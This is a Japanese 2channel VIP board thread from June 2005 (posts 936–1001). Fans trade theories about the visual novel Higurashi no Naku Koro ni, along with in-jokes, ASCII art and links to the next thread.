綿流しで注射持ったまま死体が発見されてるし 目明しではアレだし 黒梨花は存在してるものとして見ちゃっていいんじゃないかな・・・かな？ 936 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 19:36:23 ID:xxtQXw+t0 一応保守 937 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 19:36:42 ID:Z8p1Rs500 神具殿の地下に梨花の双子の妹の花梨がいるんだって 双子は不吉だからって、鉄仮面装備で幽閉されてるんだよ！！！ 神具殿は雛見沢の裏会議が開かれる場所でもあり（だから錠前は頑丈だった） 花梨はそれを全て聞いていたんだ！！！ 938 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 19:44:22 ID:QF+R4nYl0 流れをぶった切ってすまんが、改蔵オチというのは考えられないか？ 祭囃し編（仮）の最後で梨花ちゃんが圭一とレナを祭具殿に案内するんだ。で、中に入ると「おめでとう」「おめでとう」 一緒に出てきた沙都子は「まだダメ」と例の注射を打たれる。 実は圭一たちは心の病で入院中だった。圭一は受験ノイローゼ、レナは解離性人格障害、魅音は二重人格、沙都子は虐待で精神あぼーん、というところか。 その他の連中は医者や看護士。雛見沢村は彼らの作った共同幻想で、治療のため与えられたシナリオの中でそれぞれに割り振られた役割を演じていた。 綿流しを境に起こる惨劇は一種のショック療法だな。 この解釈なら学年がありえない混在をしている、雛見沢村が白川郷なのに興宮が土気や葛西、などの謎も納得できる。 939 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 20:03:38 ID:cdMV2hh/0 >>938 そのときはこうなるな ;;(⌒～ ∧∧ ほぅら見えたぞ、あれが竜騎士の家だ (⌒⌒;;(⌒～ ヽ( ﾟ∀ﾟ)/ 初めて見るけどよく知ってる、くっけっけっけ！！！ (⌒;; (⌒⌒;;(⌒～ ( ) ぐぎゃぎゃぎゃぎゃ！！！ (⌒;; (⌒⌒;;(⌒ ≡≡ミ ぐぎゃぎゃぎゃぎゃ！！！ うひょ 940 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 20:28:02 ID:BDPKdMlV0 あひゃ保守 941 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 20:32:29 ID:ovi2wik70 蒸し返すようだが、自分は暇潰し編は圭一の引っ越してこなかった雛見沢、 つまりなんのフラグも立っていないある意味正史だと思ってる。 だから、圭一の行動によって大災害が起きなかったって方だと考えてる。 942 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 21:02:18 ID:5SIhC3mI0 大災害が起こらなかったシナリオで共通して死んでる人物…魅音？ 943 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 21:03:48 ID:cdMV2hh/0 あーだめだ・・・俺赤坂好きだｗｗｗｗｗ大石も好きだｗｗｗｗｗｗｗｗうほっｗｗｗｗｗ 944 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 21:04:32 ID:QF+R4nYl0 >>938 ＣＤドラマの梨花ちゃんの声がやけに大人っぽかったのも実際大人だったから。 昭和５２年と５８年で年をとっているようには見えなかったのも大人だったから。 945 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 21:07:25 ID:Vuze/b6X0 >>943 赤坂には同意だが大石のあのむかつく顔見ると無理すｗｗｗｗｗｗｗｗｗｗｗ 946 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 21:08:44 ID:Z8p1Rs500 祟殺しの大石はﾏｼﾞﾑｶﾂｸｗｗｗｗｗｗ 一人だけ豹変顔？がない富竹気になるなあ 947 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 21:12:58 ID:cdMV2hh/0 大石ｽｷｰな俺は異端かｗｗｗｗｗｗｗｗ 確かに怪しい言動も多いんだが彼なりの信念があるのがﾓｴｽｗｗｗｗｗｗｗ 奴のベクトルは全て雛見沢の事件解決という一点に向いてる気がする 手段は選ばないがｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗうぇｗｗｗｗ 948 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 21:22:39 ID:LtdZ5et+0 このスレに俺のスタンド、キラークイーンの能力を使った 謎が解けた瞬間スレの時間が1時間ほど戻るぞ 949 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 21:24:39 ID:BDPKdMlV0 ・・・・・・・あれ。 950 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 21:41:55 ID:RSoFXD4A0 >>942 俺もそう思った…。 951 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 22:08:19 ID:cdMV2hh/0 時を止めすぎた 952 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 22:13:59 ID:5eDepZvj0 さて、暇潰し編終わって目明し編やろうと思ったんだが・・・ 俺のレナが「とりあえず現状で推理しろボケが」って言ってきた。 さて、目明しをやるべきか 953 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 22:22:53 ID:cuPA2mwz0 >>952 目明しをやっても綿流し編のタネと新たな事実と謎が出てくるだけで 事件の全貌は分からない むしろ新たな推理材料と考えるべきなのでやることを勧める が、現時点での推理という意味で一度まとめておくのもいいのでは？ 954 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 22:23:04 ID:I9PAa0720 >>952 えーとねえ 推理しても推理しないでも大丈夫 綿流しの裏でひぐらしの謎自体は何一つ解かれてないから 綿流しで謎が残ってると思ったらちょっと推理した方がいいかもだけど あとハンカチは10枚用意 955 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 22:25:02 ID:LtdZ5et+0 (ω・ )ゝ ティッシュ10枚？そんなにエロいのか、目明しは 956 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 22:32:29 ID:msbyzZSj0 >>955 全 米 が 抜 い た 957 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 22:34:10 ID:BDPKdMlV0 なあやっぱりレナが黒幕じゃねえの？ って考える俺はアホですか？ 958 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 22:35:42 ID:o2KLYIFd0 ? オ ヤ シ ロ サ マ が全部やったに決まってるｗｗｗｗ 959 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 22:37:07 ID:YV3MMM1jO 最後まで待てと俺のゴーストが囁くんです≫≪ 960 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 22:37:54 ID:5eDepZvj0 >>953->>954 ｻﾝｺｽ 推理メンドクサイからハンカチとティッシュ10枚づつ用意して目明しやってくるお 961 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 22:41:51 ID:8GCIp2560 犯人は９番 動機は踵落としとレッドカードくらった 962 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 22:45:16 ID:RSoFXD4A0 >>961 次の試合を待たずに炭鉱送り確定ってマジ？ 963 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 22:49:22 ID:5D3txbxV0 オリンピックに出場できなかった女子代表の皆さんも今ごろ…(((( ；ﾟДﾟ)))ｶﾞｸｶﾞｸﾌﾞﾙﾌﾞﾙ 964 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 22:51:28 ID:8GCIp2560 >>962 鬼隠しです 965 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 22:53:16 ID:I9PAa0720 >>964 「転校」したんだよ 966 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 22:59:07 ID:vUIuVjbA0 嘘だ！！ 967 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 23:06:15 ID:aktapYrZ0 だれか、垂れ流して…。先週末も、先日も３時間半杉からしか聞けてねー…。 ,. -''",.=＝｀ヽ、 ,.'::..//ﾊi l || i L!l,,ゝ___,,,,,_ /::::://;.-‐ﾆヾヽヽヾヽヽ ヾヽ {::／:::｀ヾ:::::::::il |l || i | l|ﾄ､ ヾヽ ﾊト､:::::::::::ヾ:::::ll || || | | || i| ヾ ｀、 〃i|:::::｀ヽ::::::::ヾ:|| |l ||l il| |i ﾘ ヾ ヽ / |::::::::::::｀ヽﾉ::::ヾ. ﾘ lﾘ ,,,.ゞ=j i li|::::::::::::::::::｀i::::::::ヾ__,,.-==＝''''" i::｀、 l il i::::::::::::::::::::l::::::::::::::::::::::::::::i | ',::｀、 ll |i;;;;;;;;;;;;=＝j;::::::::::::::::::::: ',::｀, ﾘ ll￣i';::::::::::::',｀ゝ;::::::::::::::. ｀i } l ﾘ lll';:::::::: ', li li｀ヽ:::::::::. ヾ ' ﾘl';:::::. ',ll ,ﾘ ヾ;:::::... ... ｀ヽ }:::.. } ,.-､i::::::::::::::::::.--‐' ｀、 _,i:::: i-'''""__j-j:::::;;;;;;;;;;;;;;,,.-‐ ,.ゝ ,.'" l::: ,' ヾヽ＼::: ,.=='""> / l::: ,' ヾ;;;;;;;;;;;;;;;,,,,,,,,,,,,,,,.-=" ｀ヽ / j:: ,' ￣￣￣￣￣ 〉 > .j::: ,' / j ＼____ﾉ:::. ,' _＼ _,.-''"ヽ/::::::: ,' ,.-'"├' j:::::;::::::::::::::::::/---､ _,,,.-、 li:::::::::i' ヽへ＿＿_ノ く＿＿＿＿（( >､｀ｰ--‐'''"ll:: ｀、 ｀ｰ-<;;;:::::゛ｰ--､ ll i ｀ﾞ､;::: ｀ヽjl j ｀ﾞｰ､______人___ノ 968 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 23:07:56 ID:I9PAa0720 いや、ここ推理スレだから 969 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 23:08:49 ID:aktapYrZ0 >>968 ｽﾏｿ、逝ってくる 970 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 23:12:03 ID:vUIuVjbA0 レナに羽交い絞め(*´д｀*)ﾊｧﾊｧ 971 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 23:15:27 ID:jZ4nv3va0 そういや>>1のお姉ちゃんは最近いない？ 972 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 23:23:33 ID:Mx1yFAEN0 呼ばれて出てきた>>1の姉ちゃんだ！！ 悪いが深い事情によりあんまりカオ出せない！ てことでおまいら頑張れよ。 眺めて参考にするくらいはするからよ。 973 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 23:24:52 ID:jZ4nv3va0 >>972 ハロー 974 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 23:29:55 ID:jZ4nv3va0 推理っていってももう自分で出来ることはしちゃったしなぁ。 でもさ、いろいろ妄想膨らませてると小説のネタとか浮かんでくるから不思議だ。 人間の脳みそってそういう風に出来てるのかね。 975 ：以下、名無しにかわりましてアミがお送りします ：2005/06/08(水) 23:35:39 ID:o+pnT/sN0 誰かここのまとめよろ 976 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 23:36:38 ID:msbyzZSj0 推理っていってももう自分で出来ることはしちゃったしなぁ。 ↓ 雑談スレになる ↓ その推理既出だ！過去ログ全部読んで半年ＲＯＭれ！！！ ↓ 同人ゲーム板なんか屑の集まりだよな ↓ 戦争開始 977 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 23:38:41 ID:cdMV2hh/0 既出でもええがな 繰り返せ！何度でも！ そして1%の向こう側へ 978 ：以下、名無しにかわりましてアミがお送りします ：2005/06/08(水) 23:39:19 ID:o+pnT/sN0 >>976 そういうまとめかよｗｗｗｗｗｗｗｗｗｗ 979 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 23:41:29 ID:jZ4nv3va0 >>976 既出の推理が出るたび検証していけばいいんでね。 過去ログ全部読んで～云々はちょっと閉鎖的っぽい。VIPらしくノリでいこう。 いや、どんなのがVIPらしいのかなんて知らんけど。 980 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 23:44:36 ID:jZ4nv3va0 あえて鬼隠しだけの情報で推理してみるってのも方向性としてはありじゃない？ 他の後追いしてるだけじゃつまらないし。 981 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 23:45:34 ID:msbyzZSj0 いや、まさかまともなレス返ってくるとはｗｗｗｗｗｗ いや、同人ゲーム板の本スレのまとめを一部改変しただけだからきにすんなよ、な？ 982 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 23:47:12 ID:I9PAa0720 頼むから向こうを刺激しないでくれ お互いにひぐらしを楽しめる人間なはずだ なぜ争わねばならない 983 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 23:47:56 ID:jZ4nv3va0 争ってない、争ってないｗｗｗ 984 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 23:48:35 ID:msbyzZSj0 むしろ、争いたがってるのはむこうの過激派だろｗｗｗｗｗ 985 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 23:48:49 ID:+y9bCEvZ0 毒ガスが発生したのは鬼が淵じゃないと思うー 記述によると、瘴気が溢れるという伝承と 鬼が淵直下がマグマ溜り・温泉であるという 状況証拠からそう断定されたに過ぎないみたいー 本来の発生地点が圭一の倒れていた場所より低ければ 比重の重いガスの特性により圭一が無事なのも当然となるおー 986 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 23:49:18 ID:4xzgb1z40 鬼隠し編の情報だけだと、俺の推理はこうだ。 全部オヤシロさまの祟りじゃね？ 987 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 23:50:48 ID:BDPKdMlV0 いやｗｗｗｗｗｗレナが陰なんだよｗｗｗｗｗｗｗｗｗｗ 未音が陽っていってたろｗｗｗｗｗｗｗｗｗ 988 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 23:50:59 ID:msbyzZSj0 鬼隠し編の情報だけだと、レナ大暴れくらいしか浮かばない。 989 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 23:51:16 ID:jZ4nv3va0 >>986 ぐぎゃぎゃぎゃ 正味な話、ちょっと興味本位だけの奴も鬼隠しだけなら参加しやすいだろうし。 990 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 23:52:44 ID:nLcrZlia0 でも鬼隠しだけで推理できたアホもいるんだしなｗｗｗｗｗｗｗｗ 991 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 23:54:08 ID:buph4kKT0 全部主イエス・キリスト様がお決めになられた 992 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 23:54:20 ID:cdMV2hh/0 よっしゃじゃあ次スレの頭は鬼隠しを検証していこう 993 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 23:54:35 ID:jZ4nv3va0 そろそろ次スレよろ↓ 994 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 23:56:05 ID:BDPKdMlV0 おｋｗｗｗｗｗｗｗｗｗｗｗｗｗ 995 ：以下、名無しにかわりましてアミがお送りします ：2005/06/08(水) 23:58:15 ID:o+pnT/sN0 http://ex11.2ch.net/test/read.cgi/news4vip/1118242553/l50 996 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 23:58:23 ID:BDPKdMlV0 http://ex11.2ch.net/test/read.cgi/news4vip/1118242669/ たてたｗｗｗｗｗｗｗたてたｗｗｗｗｗｗｗｗｗぐぎゃぎゃｗｗｗｗｗ 997 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 23:59:01 ID:nLcrZlia0 ぐぎゃっがががが 998 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 23:59:31 ID:+y9bCEvZ0 >>995の方が速いが>>994は>>996だ 999 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/09(木) 00:00:02 ID:7g/Ok5cfO 1000なら犯人は俺 1000 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/09(木) 00:00:05 ID:rzqKi/9r0 私、>>1000は1000ゲットを狙われています なぜ、誰に、1000ゲットを狙われているのかはわかりません。 ただひとつ判る事は、オ>>846さまの祟りと関係があるということです。 レ>>7と>>3音は犯人の一味。 他にも厨房が４～５人以上。白い８頭身車を所有。 ――――――――――――――――――――――――――――――――――――― どうしてこんなことになったのか、私にはわかりません。 これをあなたが読んだなら、その時、私は次スレに移っているでしょう。 …IDが変わっているか、ないかの違いはあるでしょうが。 これを読んだあなた。どうか真相を暴いてください。それだけが私の望みです。 >>1000 1001 ：１００１：Over 1000 Thread ＊ + 巛 ヽ 〒 ! + 。 + 。 ＊ 。 + 。 | | ＊ + / / イヤッッホォォォオオォオウ！ ∧＿∧ / / （´∀｀ / / + 。 + 。 ＊ 。 ,- ｆ / ｭﾍ | ＊ + 。 + 。 + このスレッドは１０００を超えました。 〈＿｝ ） | 次スレも…VIPクオリティ！！ / ! + 。 + + ＊ http://ex11.2ch.net/news4vip/ ｶﾞﾀﾝ ||| j / | | ||| ―――――――――――― |